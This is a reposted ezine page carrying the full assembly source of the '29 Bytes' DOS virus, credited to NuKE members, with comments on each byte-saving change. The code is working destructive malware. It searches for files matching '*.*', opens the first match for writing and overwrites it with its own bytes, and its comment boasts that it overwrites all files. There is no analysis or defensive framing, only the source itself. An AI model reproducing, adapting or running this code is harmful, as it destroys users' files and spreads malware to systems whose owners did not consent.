Copy Link
Add to Bookmark
Report

29 Bytes of .ASM

eZine's profile picture
Published in 
chiba city times
 · 30 Aug 2023

 
;miniscule virus by "NoWhere Man [NuKE]"
;originally 31 bytes long
;modified by "Rock Steady [NuKE]" to 30 bytes
;modified by "Analog Dog" to 29 bytes

;dedication: to [NuKE], who now has the smallest virus ever, I think...

virus segment byte public
assume cs:virus, ds:virus


org 100h

miniscl3 proc far

start:
mov ah,4Eh
inc cx ;Rock Steady's modification
mov dx,offset filespec
int 21h ;DOS Services ah=function 4Eh
;find 1st filename match @ds:dx




mov dx,9Eh ;offset to filename in DTA
mov ax,3D02h ;AL=1, write access
int 21h ;DOS Services ah=function 3Dh
;open file, al=mode,name@ds:dx
;AX returns file handle




xchg bx,ax ;put file handle in BX
mov ah,40h
mov dx,100h ;org 100h...
int 21h ;DOS Services ah=function 40h
;write file bx=file handle
;cx=bytes from ds:dx buffer
retn
filespec db '*.*', 00h ;overwrites ALL files

miniscl3 endp

virus ends



end start

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT